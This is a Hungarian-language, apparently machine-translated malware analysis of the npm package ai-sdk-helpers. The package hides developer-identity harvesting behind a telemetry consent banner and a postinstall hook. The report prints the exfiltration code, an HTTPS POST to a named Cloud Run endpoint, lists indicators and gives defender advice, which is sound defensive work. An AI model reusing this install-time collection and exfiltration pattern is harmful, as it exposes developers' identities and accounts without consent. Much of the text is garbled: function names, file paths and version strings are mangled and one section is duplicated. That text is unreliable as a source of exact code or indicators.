TL, DR
Egyetlen npm csomag, ai-sdk-helpers, a Vercel AI SDK termelési eszközkészleteként mutatja be magát, költségkövetést, szolgáltatói tartalékokat és streamelési segítőket kínálva.
A telepítési idejű szkript egy letisztult, tájékoztató szalagcímmel nyílik meg, amely leírja, névtelen diagnosztika, ígérve, hogy semmilyen forráskódot, tokeneket vagy hitelesítő adatokat nem továbbítanak, tiszteletben tartva a DO_NOT_TRACK leiratkozás, és egy telemetriai szabályzat oldalára mutató hivatkozás.
Ugyanez a szkript ezután beolvassa a fejlesztő git-identitását, GitHub CLI-konfigurációját, a gép hostnevét, az operációs rendszer felhasználónevét, a munkakönyvtárat és a CI-szolgáltatót.
Ezeket az adatokat JSON formátumban küldi el a rendszer egy Google Cloud Run végpontnak, ami egyértelmű eltérést eredményez a megadott telemetriai szabályzat és a ténylegesen begyűjtött mezők között.
A csomag huszonkét verzióban jelent meg egyetlen 83 másodperces sorozatban, és a telepítőszkript bájtról bájtra megegyezik minden megjelölt verzióban.
A nyolc általunk felülvizsgált verzió közül hét pipeline az ML-osztályozó nem adott egyértelmű pontszámot, mivel a hozzájárulási banner stílusa legitim telemetriaként értelmezhető.
Osztályozunk ai-sdk-helpers a telepítési idejű fejlesztői identitásgyűjtés és -elszivárgás alapján kártékonyként szerepel.
Súlyosság: magas.
A telepítés anatómiája
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } telepítés után automatikusan lefut npm telepítés, mielőtt a csomag hirdetett kódjának bármelyikét importálnák. A szkript scripts/postinstall.js itt található az összes telepítési idejű viselkedés.
Egy megjegyzésblokkkal és egy futásidejű közleménytel nyílik meg, amelyet egy adatvédelmet figyelembe vevő nyílt forráskódú projekt regiszterébe írt:
>Amikor telepíted az ai-sdk-helpers-t, gyors környezeti kompatibilitási ellenőrzést futtatunk, és névtelen diagnosztikai jelentést készítünk… Az adatok teljesen névtelenek – összegyűjtjük a platformodat, a csomópont verzióját és a gépazonosítód egyirányú hash-ét. Soha nem továbbítunk forráskódot, tokeneket vagy hitelesítő adatokat.
Még egy működő leiratkozási kaput is beköt, ami az első futtatható kód a fájlban:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } ha először ezt a kaput fűzzük be, az teszi a többit konszenzuson alapulónak: egy fejlesztő, aki beállítja `D_NOT_TRACK` A telepítés csendben befejeződik, és a csomag tiszteletben tartja a konvenciót. A tiszteletben tartott leiratkozás valós. Amit viszont engedélyez, azok számára, akik nem állítják be, az az alább leírt gyűjtemény – nem pedig a szűkebb körű „platform, csomópont verzió és egyirányú hash”, ahogy az értesítésben szerepel.
A kapu alatt a szkript egy olyan hasznos adatot állít össze, amely messze túlmutat a leíráson.
- *Gt identitás.* rmegoldásaScmAzonosság()` fejek `~.gitconfig`,`~.config/git/config` fájlnevet,és a jelenlegi projekt `.it/config`,elemzi a `[szer]` szakasz, és visszaadja a konfigurált értéket commit e-mail cím. Ha egyetlen konfigurációs fájl sem eredményez e-mail címet, akkor a `G`-re ugrik vissza.T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,és `EAIL` környezeti változók. A függvény feletti dokumentációs karakterlánc keretezi az olvasást, mint „azonos személy tulajdonában lévő gépek (pl. laptop + CI) közötti telepítések deduplikációjának” módját – egy kimondott cél, amelyhez stabil fejlesztőnkénti azonosító szükséges, amelyet egy commit e-mail kellékek.
- *GtHub fiók.* rsolveGitHubIdentity()` fejek `~.config/gh/hosts.yml` fájl és `~.config/gh/hosts.yaml` fájl a GitHub CLI által írt konfigurációs fájl, amikor egy fejlesztő hitelesít – és reguláris kifejezéssel kibontja az `u`-tööö:` és `ebeteg:` mezők. Ez a fájl tárolja a GitHub OAuth tokent is; a szkript reguláris kifejezése kifejezetten a felhasználónév és az e-mail sorokat célozza meg, és nem nyeri ki a tokent. A közzétételi szalagcím „soha nem kerülnek tokenek átvitelre” állítása tehát szó szerint igaz erre az egy mezőre, miközben a környező fiókazonosítók beolvasásra és elküldésre kerülnek.
- *Hst és CI ujjlenyomat.* A szkript ezután összegyűjti a `o-t.hostname()`,`o.userInfo().felhasználónév`,a Node verzió, platform és architektúra, `pocess.cwd()`,és egy CI-szolgáltató címkét, amelyet nyolc szolgáltató (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite és két generic-CI flag) környezeti változóinak ellenőrzésével oldottak meg. A szolgáltatók listája egy leltár arról, hogy a szkript hol várja a végrehajtást – interaktív shelleket és automatizált build-et. pipelines egyforma.
Mindezek egyetlen `d`-be vannak csoportosítva.agnosztikusok bject, ahol a fejlesztőnkénti mezők egy `i` alatt vannak összegyűjtveentitás ey és a `r` alatti gazdagépadatokntime` és `cntext` eys, majd szerializálva és továbbítva:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); A válasz elvetésre kerül, és az összes hibát lenyeli a rendszer – egy megjegyzés megjegyzi, hogy „a telemetria soha nem szakíthatja meg a telepítést”. A végpont hostname egy Google Cloud Run szolgáltatást kódol az `e` részben.kötélnyugat1` régió.
A rés a lényeg. A banner három adatkategóriát nevez meg – platform, csomópont verzió, gépazonosító hash. A hasznos adat a fejlesztő valódi gitjét küldi el. commit e-mail címüket, GitHub felhasználónevüket és e-mail címüket, gépük gazdagépnevét és operációsrendszer-fiókjuk nevét, projektjük elérési útját és CI-környezetüket. A *prson és a számláik* pontosan azokat a mezőket érinti, amelyeket a közzététel kihagy.
A README megerősíti a másik oldalról érkező keretezést. A „Telemetry” szakasz megismétli az anonimitási igényt, és összekapcsolja a `D` szót._NOT_TRACK` o `cnsoledonottrack.com`,a valódi közösségi oldal, amely dokumentálja a leiratkozási konvenciót – egy elismert adatvédelmi elv kölcsönzése standard hogy a közleményt rutinszerűen felolvassák.
Network TwentyOne Global
Ez egyetlen csomagból álló lelet, nagyon rövid és sűrű publikációs előzményekkel. Nincs több hetes kampányív, amelyet nyomon lehetne követni – a teljes verziókínálatot gépi sebességgel terjesztették.
| Mikor (UTC) | esemény |
|---|---|
| 2026-06-03 20:31:20 | Első verzió (0.1.0) közzétéve az npm-en. |
| 2026-06-03 20:31:20 – 20:32:43 | Mind a 22 verzió (0.1.0 keresztül 1.4.2) egy 83 másodperces automatizált sorozatban jelent meg. |
| 2026-06-04 | Nyolc verziót azonosítottak az észlelési jelek; a manuális elemzés megerősíti a telepítési idejű identitásgyűjtést és -kiszivárgást. A csomag az elemzés időpontjában npm-en továbbra is aktív maradt. |
A 22 szemantikus verzióra kiterjedő 83 másodperces ablak önmagában is egy viselkedési indikátor: a verziólétra (`01.0`,`01.1`,… `14.2`)egy aktívan karbantartott projekt felületét mutatja be, kiadási előzményekkel, egyetlen szkriptelt futtatással előállítva. A telepítőszkript nem változik ezen a létrán keresztül – lásd alább.
A kompromisszum mutatói
A telepítési idejű hasznos terhelés azonos a közzétett verziótartományban.ff` f`sripts/postinstall.js` között `0 verzió2.1` második verzió `14.2` nem ad vissza különbséget; a viselkedés egy fix ujjlenyomat, nem pedig egy változó hasznos adat.
Hálózat
A 22 szemantikus verzióra kiterjedő 83 másodperces ablak önmagában is egy viselkedési indikátor: a verziólétra (`01.0`,`01.1`,… `14.2`)egy aktívan karbantartott projekt felületét mutatja be, kiadási előzményekkel, egyetlen szkriptelt futtatással előállítva. A telepítőszkript nem változik ezen a létrán keresztül – lásd alább.
A kompromisszum mutatói
A telepítési idejű hasznos terhelés azonos a közzétett verziótartományban.ff` f`sripts/postinstall.js` között `0 verzió2.1` második verzió `14.2` nem ad vissza különbséget; a viselkedés egy fix ujjlenyomat, nem pedig egy változó hasznos adat.
Hálózat
| Mutató | Szerep |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | HTTPS POST kéréseket JSON hasznos adatokkal fogadó kiszűrési végpont. Google Cloudon tárolt. Futtatás a következő helyen: europe-west1 vidék. |
Csali infrastruktúra
| Mutató | Szerep |
|---|---|
ai-sdk.guide | Csomag honlapja és élő webhely, amely az „AI SDK Guide” szerzői identitását támogatja. |
ai-sdk.guide/telemetry | A telepítési idejű közzétételi értesítésben hivatkozott telemetriai szabályzat URL-címe. |
hello@ai-sdk.guide | Szerző e-mail címe megadva package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | A csomag által deklarált forrásadattár. |
Telepítéskor beolvasott fájlok
- -.gitconfig`,`~.config/git/config` fájlnevet,`<wd>/.git/config` git `[szer]` levél
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` fájl GitHub CLI (felhasználói felület)ööö `ebeteg
Viselkedési aláírások
- – m `pstinstall` ook meghív egy csomagolt Node szkriptet
- – leiratkozási kapu (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)adatvédelmi funkcióként bemutatva, a személyazonosság-gyűjtés előtt
- – egy JSON objektum tbound HTTPS POST-ja, amely tartalmazza a git e-mail címet, a GitHub identitást, a hostname-et, az operációs rendszer felhasználónevét, a cwd-t és a CI címkét
- – te-azonos telepítőszkript egy gyorsan publikált verziólétrán
Attribúció és megfigyelt viselkedés
Semmit sem adunk hozzá a csomagban és a beállításjegyzékben rögzített metaadatokon túl.
Az npm nyilvántartásának karbantartója a `a` fiók.ielsimon`,az `a` címmeliel@vigilance.security`.A beállításjegyzék az e-mail címet ellenőrizetlenként, a fiók forráskód-ellenőrzési identitását pedig ellenőrizetlenként tünteti fel. A `pckage.json`,külön, a szerzőt „AI SDK útmutatóként” mutatja be.ello@ai-sdk.guide>`”egy `a` honlappal-sdk.guide` és egy forráskód-tárházat egy `g` alattthub.com/ai-sdk-guide` szervezet. A közzétételi fiók e-mail domainje (`vigilance.security`)és a csomagon belüli szerzői azonosító (`a-sdk.guide`)különböző domainekről van szó.
Az `a-sdk.guide` Az ite élőben van és válaszol, valamint a `/elemometria Az ath megoldódik – a csali identitását egy elérhető webes jelenlét támogatja, nem pedig egy halott link, ami növeli a csomag keretezésének hihetőségét.
**Megfigyelt képesség.** Telepítési időben a csomag beolvassa a fejlesztői identitást és a fiókkonfigurációs fájlokat, ujjlenyomatot vesz a gazdagépről és a CI környezetről, és az eredményt egy operátor által vezérelt végpontra továbbítja, miközben egy értesítést jelenít meg, amely egy szűkebb és anonimizált adathalmazt ír le. Ezt a viselkedést leírjuk; nem állítjuk annak indítékát. A csomagot értékelő olvasóknak – beleértve azokat a feleket is, akik felismerik a közzétevő identitását – mérlegelniük kell a megadott és a tényleges adatfolyamok közötti megfigyelhető eltérést.
Hatás, trendek és útmutatás a védők számára
Ki van leleplezve? Bárki, aki telepíti ai-sdk-helpers – közvetlenül vagy tranzitív függőségként – futtatja a gyűjteményt ezen a gépen. Mivel a trigger a következő: telepítés után, a hirdetett könyvtárkódot soha nem kell importálni az adatfolyam létrejöttéhez; a telepítés önmagában elegendő. A legértékesebb környezetek a konfigurált git-identitással és hitelesített GitHub CLI-vel rendelkező fejlesztői munkaállomások, valamint a CI-futtatók, ahol a szkript CI-szolgáltatójának észlelése azt jelzi, hogy a gyűjtemény várhatóan a builden belül fog futni. pipelinevalamint laptopokon.
Amit leleplez. Általános esetben nem alkalmazástitkok – a hasznos adat középpontjában a következő áll: identitás: a fejlesztőé commit e-mail címüket, a GitHub-fiókjuk nevét és e-mail címét, a gép és a fiók nevét, valamint a projekt elérési útját. Ez egy előzetescisa térkép, amelyen látható, hogy ki telepítette a csomagot, melyik gépre, melyik adattárba és melyik CI-rendszer alatt. Egy szervezet esetében néhány ilyen rekord együttesen felsorolná, hogy mely mérnökök és mely build rendszerek húzták le a függőséget – ez hasznos előfutára a célzottabb további tevékenységeknek, annak ellenére, hogy a csomag saját viselkedése a gyűjtésnél és az átvitelnél megáll.
A trend: telemetria, mint álcázás. A legitim fejlesztői eszközök névtelen telepítési diagnosztikai adatokat gyűjtenek, és az erre vonatkozó konvenciók – egy közzétételi értesítés, egy NE_KÖVESSEN KÖVETÉST a becsület, a leiratkozási jelző, a szabályzat URL-címe – mind jól ismertek. ai-sdk-helpers mind a négy konvenciót hűen reprodukálja, és azokat használja az identitásgyűjtés burkaként. Egy hozzájárulási banner, egy működő leiratkozás vagy egy adatvédelmi irányelvekre mutató link megléte nem bizonyítja, hogy egy csomag megbízható; ezek a vezérlőelemek olcsón utánozhatók. Az egyetlen megbízható ellenőrzés az, hogy mit olvas be a kód valójában, és hová küldi azt.
Ennek a csomagolásnak mérhető hatása van az automatizált triázsra is. A verziók között a mi pipeline Az áttekintett telepítőszkript egyszerű nyelvű megjegyzései, strukturált mezőnevei és hagyományos leiratkozási kapuja a szokásos telemetriaként értékelhető volt: a nyolcból hét visszajött hatástalan a gépi tanulási osztályozóból származik, nem pedig rosszindulatú. A kétértelműséget feloldó jel nem a szövegben rejlik, hanem a szkript által megnyitott konkrét fájlokban (~ / .gitconfig, ~/.config/gh/hosts.yml) és a célállomást, ahová küldi. Egy felülvizsgáló, legyen az automatizált vagy emberi, aki elolvassa a közzétételt, és ott megáll, helytelen következtetésre jut; a megállapításnak az adatfolyamat tényeiből kell származnia.
Útmutató a védőknek:
- Telepítés alapértelmezés szerint letiltott szkriptekkel — npm telepítés –szkriptek figyelmen kívül hagyása, vagy beállítva ignore-scripts=true in .npmrc fájl és explicit módon futtasd le az ellenőrzött építési lépéseket. Ez semlegesíti a telepítés után-általánosan kiváltott behajtás.
- Ne kezelje a leiratkozási vezérlőket bizalomjelzőként. NE_KÖVESSEN KÖVETÉST Egy ellenőrzés vagy egy „telemetria szabályzat” hivatkozás semmit sem árul el arról, hogy egy szkript milyen adatokat gyűjt, ha a kapu nincs beállítva.
- Olvasd el a telepítési útmutatót, mielőtt MI-ökoszisztéma segítő csomagokat használnál. A Vercel AI SDK területe egy gyorsan mozgó, nagy megbízhatóságú célpont; telepítés után ami megérinti ~ / .gitconfig or ~/.config/gh/ egyértelmű jelzés, függetlenül attól, hogy a környező kommentek hogyan vannak megírva.
- Kimenő HTTPS POST küldés figyelése építési időben. npm telepítés, különösen egy frissen kiépített felhőfunkciós végpont felé, megfigyelhető a hálózati rétegen, és erős észlelési pont a CI-környezetek számára.
- Figyelj a tömörített verziólétrákra. Egy olyan csomag, amelynek teljes szemantikus verzióelőzményei másodperceken belül megjelennek egy változatlan telepítőszkripttel, egy mesterségesen létrehozott karbantartási előzményt mutat be.





